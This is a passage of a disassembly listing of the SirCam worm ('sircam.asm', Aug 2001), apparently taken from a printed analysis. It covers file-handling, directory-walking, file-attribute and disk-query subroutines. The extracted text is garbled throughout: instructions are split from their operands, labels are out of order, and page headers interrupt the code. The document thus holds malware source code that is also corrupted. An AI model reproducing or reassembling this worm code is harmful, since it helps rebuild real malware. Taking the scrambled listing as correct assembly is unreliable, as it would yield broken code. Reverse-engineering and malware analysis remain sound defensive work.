byte ptr [ebx], 0Ah jnz short loc_406FE2 inc ebx jmp short loc_406FE2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_406FC7: mov and bt jnb mov inc inc ; CODE XREF: sub_406F20+89\030j edx, eax edx, 0FFh ds:dword_41C104, edx short loc_406FDC [edi], al edi ebx mov mov inc inc al, [ebx] [edi], al edi ebx loc_406FDC: ; CODE XREF: sub_406F20+B6\030j loc_406FE2: ; CODE XREF: sub_406F20+94\030j ; sub_406F20+A2\030j ... cmp ja esi, ebx short loc_406F9B sircam.asm Fri Aug 10 12:42:44 2001 loc_406FE6: sub_406F20 180 ; CODE XREF: sub_406F20+5E\030j ; sub_406F20+79\030j pop pop pop pop pop retn endp edx ebp edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_406FEC proc near var_8 var_4 = dword ptr -8 = byte ptr -4 sub_406FEC add push mov mov lea mov mov call pop pop retn endp ; CODE XREF: sub_4101AC+56F\031p esp, 0FFFFFFF8h 0 [esp+0Ch+var_8], eax [esp+0Ch+var_4], 0 ecx, [esp+0Ch+var_8] eax, edx edx, offset dword_407018 sub_407B40 ecx edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_407018 dd 6425h ; DATA XREF: sub_406FEC+14\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40701C proc near var_10 var_C var_8 var_4 = = = = sub_40701C add push mov mov mov mov lea mov xchg call add retn endp ; CODE XREF: sub_40F3B4+95\031p ; sub_41238C+37\031p dword ptr -10h byte ptr -0Ch dword ptr -8 byte ptr -4 esp, 0FFFFFFF0h 1 [esp+14h+var_10], edx [esp+14h+var_C], 0 [esp+14h+var_8], eax [esp+14h+var_4], 0 eax, [esp+14h+var_10] edx, offset dword_407050 eax, ecx sub_407B40 esp, 10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 4 dword_407050 dd 782A2E25h, 0 ; DATA XREF: sub_40701C+1B\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_407058 Fri Aug 10 12:42:44 2001 proc near sub_407058 ; CODE XREF: sub_408EFC+3E\031p ; sub_408F74+34\031p ... push push mov mov call cmp jz mov ebx ecx ebx, edx edx, esp sub_402978 dword ptr [esp+0], 0 short loc_40706B eax, ebx pop pop retn endp edx ebx loc_40706B: 181 ; CODE XREF: sub_407058+F\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407070 sub_407070 proc near ; CODE XREF: sub_40D940+61\031p push ebx push esi mov ebx, edx mov esi, eax push 0 push 80h push 3 push 0 mov eax, ebx and eax, 0F0h shr eax, 4 mov eax, ds:dword_41C138[eax*4] push eax and ebx, 3 mov eax, ds:dword_41C12C[ebx*4] push eax mov eax, esi call sub_4038E8 push eax call j_CreateFileA_0 pop esi pop ebx retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4070B0 proc near ; CODE XREF: sub_40D940+28\031p push ebx mov ebx, eax push 0 push 80h push 2 push 0 push 0 push 0C0000000h mov eax, ebx call sub_4038E8 push eax call j_CreateFileA_0 pop ebx retn sircam.asm sub_4070B0 Fri Aug 10 12:42:44 2001 182 endp ; sp = -1Ch ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4070D4 proc near var_14 = dword ptr -14h push push push push mov mov mov push lea push push push push call test jnz mov loc_4070F8: sub_4070D4 ; CODE XREF: CODE:0040D8F7\031p ebx esi edi ecx edi, ecx esi, edx ebx, eax 0 eax, [esp+4] eax edi esi ebx j_ReadFile_0 eax, eax short loc_4070F8 [esp+14h+var_14], 0FFFFFFFFh ; CODE XREF: sub_4070D4+1B\030j mov eax, [esp+14h+var_14] pop edx pop edi pop esi pop ebx retn endp ; sp = -14h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407100 proc near var_14 = dword ptr -14h push push push push mov mov mov push lea push push push push call test jnz mov loc_407124: mov pop pop pop pop retn ; CODE XREF: CODE:0040D907\031p ebx esi edi ecx edi, ecx esi, edx ebx, eax 0 eax, [esp+4] eax edi esi ebx j_WriteFile_0 eax, eax short loc_407124 [esp+14h+var_14], 0FFFFFFFFh ; CODE XREF: sub_407100+1B\030j eax, [esp+14h+var_14] edx edi esi ebx sircam.asm sub_407100 Fri Aug 10 12:42:44 2001 183 endp ; sp = -14h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40712C sub_40712C proc near ; CODE XREF: CODE:0040D91A\031p push ecx push 0 push edx push eax call j_SetFilePointer_0 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407138 sub_407138 proc near ; CODE XREF: sub_40D9F8+12\031p push eax call j_CloseHandle_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_407140 proc near var_14C var_138 var_C var_4 = = = = ; CODE XREF: sub_4071A8+5\031p byte ptr -14Ch byte ptr -138h byte ptr -0Ch dword ptr -4 push mov add push mov lea push mov call push call cmp jz push call test jnz lea push lea push call lea push lea push lea push call ebp ebp, esp esp, 0FFFFFEB4h ebx ebx, eax eax, [ebp+var_14C] eax eax, ebx sub_4038E8 eax j_FindFirstFileA_0 eax, 0FFFFFFFFh short loc_407199 eax j_FindClose_0 [ebp+var_14C], 10h short loc_407199 eax, [ebp+var_C] eax eax, [ebp+var_138] eax j_FileTimeToLocalFileTime eax, [ebp+var_4] eax eax, [ebp+var_4+2] eax eax, [ebp+var_C] eax j_FileTimeToDosDateTime sircam.asm Fri Aug 10 12:42:44 2001 test jnz eax, eax short loc_4071A0 mov ; CODE XREF: sub_407140+23\030j ; sub_407140+32\030j [ebp+var_4], 0FFFFFFFFh loc_407199: loc_4071A0: sub_407140 184 ; CODE XREF: sub_407140+57\030j mov pop mov pop retn endp eax, [ebp+var_4] ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4071A8 proc near sub_4071A8 push mov mov call inc setnz pop retn endp ; CODE XREF: sub_416178+33\031p ; sub_416B20+39\031p ... ebx ebx, eax eax, ebx sub_407140 eax al ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4071B8 proc near push push push mov mov xor push mov call push call test jnz call mov ebx esi edi edi, edx esi, eax ebx, ebx edi eax, esi sub_4038E8 eax j_SetFileAttributesA eax, eax short loc_4071DA j_GetLastError_0 ebx, eax mov pop pop pop retn endp eax, ebx edi esi ebx loc_4071DA: sub_4071B8 ; CODE XREF: sub_416178+63\031p ; sub_416478+1E0\031p ... ; CODE XREF: sub_4071B8+19\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4071E0 proc near var_8 = byte ptr -8 ; CODE XREF: sub_407244+2C\031p ; sub_407294+16\031p sircam.asm Fri Aug 10 12:42:44 2001 185 push ebx add esp, 0FFFFFFF8h mov ebx, eax jmp short loc_407200 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4071E8: ; CODE XREF: sub_4071E0+26\031j lea eax, [ebx+18h] push eax mov eax, [ebx+14h] push eax call j_FindNextFileA test eax, eax jnz short loc_407200 call j_GetLastError_0 jmp short loc_40723F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407200: ; CODE XREF: sub_4071E0+6\030j ; sub_4071E0+17\030j mov and jnz push lea push call push lea push lea push call mov mov mov mov lea lea mov call xor eax, [ebx+18h] eax, [ebx+10h] short loc_4071E8 esp eax, [ebx+2Ch] eax j_FileTimeToLocalFileTime ebx eax, [ebx+2] eax eax, [esp+10h+var_8] eax j_FileTimeToDosDateTime eax, [ebx+38h] [ebx+4], eax eax, [ebx+18h] [ebx+8], eax eax, [ebx+0Ch] edx, [ebx+44h] ecx, 104h sub_4036F8 eax, eax pop pop pop retn endp ecx edx ebx loc_40723F: sub_4071E0 ; CODE XREF: sub_4071E0+1E\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407244 proc near push push push mov mov not and mov lea push mov call ebx esi edi ebx, ecx edi, eax edx edx, 1Eh [ebx+10h], edx eax, [ebx+18h] eax eax, edi sub_4038E8 ; CODE XREF: sub_417928+B4\031p ; sub_417928+19E\031p sircam.asm Fri Aug 10 12:42:44 2001 186 push eax call j_FindFirstFileA_0 mov esi, eax mov [ebx+14h], esi cmp esi, 0FFFFFFFFh jz short loc_407284 mov eax, ebx call sub_4071E0 mov esi, eax test esi, esi jz short loc_40728B mov eax, ebx call sub_4072B8 jmp short loc_40728B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_407284: ; CODE XREF: sub_407244+28\030j call mov j_GetLastError_0 esi, eax loc_40728B: sub_407244 ; CODE XREF: sub_407244+35\030j ; sub_407244+3E\030j mov eax, esi pop edi pop esi pop ebx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407294 proc near ; CODE XREF: sub_417928+145\031p ; sub_417928+24F\031p push ebx mov ebx, eax lea eax, [ebx+18h] push eax mov eax, [ebx+14h] push eax call j_FindNextFileA test eax, eax jz short loc_4072B1 mov eax, ebx call sub_4071E0 pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4072B1: sub_407294 ; CODE XREF: sub_407294+12\030j call pop retn endp j_GetLastError_0 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4072B8 proc near push mov mov cmp jz push ebx ebx, eax eax, [ebx+14h] eax, 0FFFFFFFFh short loc_4072D0 eax ; CODE XREF: sub_407244+39\030p ; sub_417928+158\031p ... sircam.asm Fri Aug 10 12:42:44 2001 call mov j_FindClose_0 dword ptr [ebx+14h], 0FFFFFFFFh loc_4072D0: sub_4072B8 187 ; CODE XREF: sub_4072B8+9\030j pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4072D4 proc near push push push push mov mov mov call mov mov call mov test jle ebx esi edi ebp esi, edx ebx, eax eax, esi sub_403724 edi, eax eax, ebx sub_4038E8 ebp, eax edi, edi short loc_40731A mov test jz mov mov call test jz mov mov call cmp jnz dec bl, [esi+edi-1] bl, bl short loc_407315 edx, ebx eax, ebp sub_407628 eax, eax short loc_407315 edx, edi eax, esi sub_409D14 al, 2 short loc_40731A edi ; CODE XREF: sub_407324+2A\031p ; sub_4073B8+E\031p ... loc_4072F2: ; CODE XREF: sub_4072D4+44\031j loc_407315: ; CODE XREF: sub_4072D4+24\030j ; sub_4072D4+31\030j dec test jg edi edi, edi short loc_4072F2 loc_40731A: sub_4072D4 ; CODE XREF: sub_4072D4+1C\030j ; sub_4072D4+3E\030j mov pop pop pop pop retn endp eax, edi ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sircam.asm Fri Aug 10 12:42:44 2001 sub_407324 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_416C54+5B\031p start+235\031p push mov add push push push xor mov mov mov mov xor push push push mov mov mov call mov test jz cmp jz ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi ebx, ebx [ebp+var_8], ebx [ebp+var_4], ecx edi, edx esi, eax eax, eax ebp offset loc_40739B dword ptr fs:[eax] fs:[eax], esp edx, esi eax, offset dword_4073B4 sub_4072D4 ebx, eax ebx, ebx short loc_407360 byte ptr [esi+ebx-1], 2Eh short loc_407365 mov ebx, 7FFFFFFFh lea push mov dec mov mov call mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_407324+3A\030j eax, [ebp+var_8] eax ecx, ebx ecx edx, 1 eax, esi sub_40392C edx, [ebp+var_8] eax, [ebp+var_4] ecx, edi sub_403770 eax, eax edx ecx ecx fs:[eax], edx offset loc_4073A2 loc_407360: ; CODE XREF: sub_407324+33\030j loc_407365: loc_407392: sub_407324 188 ; CODE XREF: CODE:004073A0\031j lea eax, [ebp+var_8] call sub_4034C8 retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40739B: ; DATA XREF: sub_407324+18\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_407392 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4073A2: ; DATA XREF: sub_407324+69\030o pop pop pop edi esi ebx sircam.asm Fri Aug 10 12:42:44 2001 189 pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 3 dword_4073B4 dd 3A5C2Eh ; DATA XREF: sub_407324+25\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4073B8 proc near sub_4073B8 push push push mov mov mov mov call mov push mov mov mov call pop pop pop retn endp ; CODE XREF: sub_417F24+2A8\031p ; start+4E8\031p ebx esi edi edi, edx ebx, eax edx, ebx eax, offset dword_4073E8 sub_4072D4 esi, eax edi ecx, esi edx, 1 eax, ebx sub_40392C edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 2 dword_4073E8 dd 3A5Ch ; DATA XREF: sub_4073B8+9\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4073EC proc near sub_4073EC push push push mov mov mov mov call mov push lea mov mov call pop pop pop retn endp ; CODE XREF: sub_409864+CC\031p ; sub_412708+56\031p ... ebx esi edi edi, edx ebx, eax edx, ebx eax, offset dword_407420 sub_4072D4 esi, eax edi edx, [esi+1] ecx, 7FFFFFFFh eax, ebx sub_40392C edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_407420 dd 3A5Ch ; DATA XREF: sub_4073EC+9\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 sub_407424 proc near var_104 = byte ptr -104h sub_407424 push push add mov mov push lea push mov call push call mov mov mov call add pop pop retn endp 190 ; CODE XREF: sub_416C54+197\031p ; sub_416C54+2FE\031p ebx esi esp, 0FFFFFEFCh esi, edx ebx, eax 104h eax, [esp+108h+var_104] eax eax, ebx sub_4038E8 eax j_GetShortPathNameA ecx, eax edx, esp eax, esi sub_4035B0 esp, 104h esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40745C proc near var_18 var_14 var_10 var_C var_8 var_4 arg_0 arg_4 arg_8 = = = = = = = = = dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ; DATA XREF: sub_40A460+2A\031o -18h -14h -10h -0Ch -8 -4 8 0Ch 10h push mov add push mov test jnz xor ebp ebp, esp esp, 0FFFFFFE8h ebx eax, [ebp+arg_0] eax, eax short loc_40746C eax, eax lea push lea push lea push lea push push call mov mov imul ; CODE XREF: sub_40745C+C\030j edx, [ebp+var_10] edx edx, [ebp+var_C] edx edx, [ebp+var_8] edx edx, [ebp+var_4] edx eax j_GetDiskFreeSpaceA ebx, eax eax, [ebp+var_4] [ebp+var_8] loc_40746C: sircam.asm sub_40745C Fri Aug 10 12:42:44 2001 xor mov mov mov xor push push mov mov call mov mov mov mov xor push push mov mov call mov mov mov mov pop mov pop retn endp 191 edx, edx [ebp+var_18], eax [ebp+var_14], edx eax, [ebp+var_C] edx, edx edx eax eax, [ebp+var_18] edx, [ebp+var_14] sub_405590 ecx, [ebp+arg_4] [ecx], eax [ecx+4], edx eax, [ebp+var_10] edx, edx edx eax eax, [ebp+var_18] edx, [ebp+var_14] sub_405590 ecx, [ebp+arg_8] [ecx], eax [ecx+4], edx eax, ebx ebx esp, ebp ebp 10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4074D0 proc near var_8 var_7 var_6 var_5 = = = = byte byte byte byte push add xor test jbe add mov mov mov mov mov ptr ptr ptr ptr ; CODE XREF: sub_407500+E\031p -8 -7 -6 -5 esi esp, 0FFFFFFF8h esi, esi al, al short loc_4074F0 al, 40h [esp+8+var_8], al [esp+8+var_7], 3Ah [esp+8+var_6], 5Ch [esp+8+var_5], 0 esi, esp loc_4074F0: sub_4074D0 ; CODE XREF: sub_4074D0+8\030j push 0 push edx push ecx push esi call ds:dword_41C128 pop ecx pop edx pop esi retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 192 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407500 proc near var_10 var_C var_8 = dword ptr -10h = dword ptr -0Ch = byte ptr -8 push add mov mov lea mov call test jnz mov mov loc_407526: sub_407500 mov mov add pop retn endp ; CODE XREF: start+A24\031p ebx esp, 0FFFFFFF0h ebx, eax ecx, esp edx, [esp+10h+var_8] eax, ebx sub_4074D0 eax, eax short loc_407526 [esp+10h+var_10], 0FFFFFFFFh [esp+10h+var_C], 0FFFFFFFFh ; CODE XREF: sub_407500+15\030j eax, [esp+10h+var_10] edx, [esp+10h+var_C] esp, 10h ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_407534 proc near sub_407534 mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn endp ; CODE XREF: sub_40765C+F\031p ; sub_407AF8+E\031p ... ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40754C proc near push esi push edi mov esi, edx mov edi, eax mov edx, ecx cmp edi, esi ja short loc_407569 jz short loc_407585 shr ecx, 2 repe movsd mov ecx, edx and ecx, 3 repe movsb pop edi ; CODE XREF: sub_40765C+22\031p ; sub_407688+2B\031p sircam.asm Fri Aug 10 12:42:44 2001 193 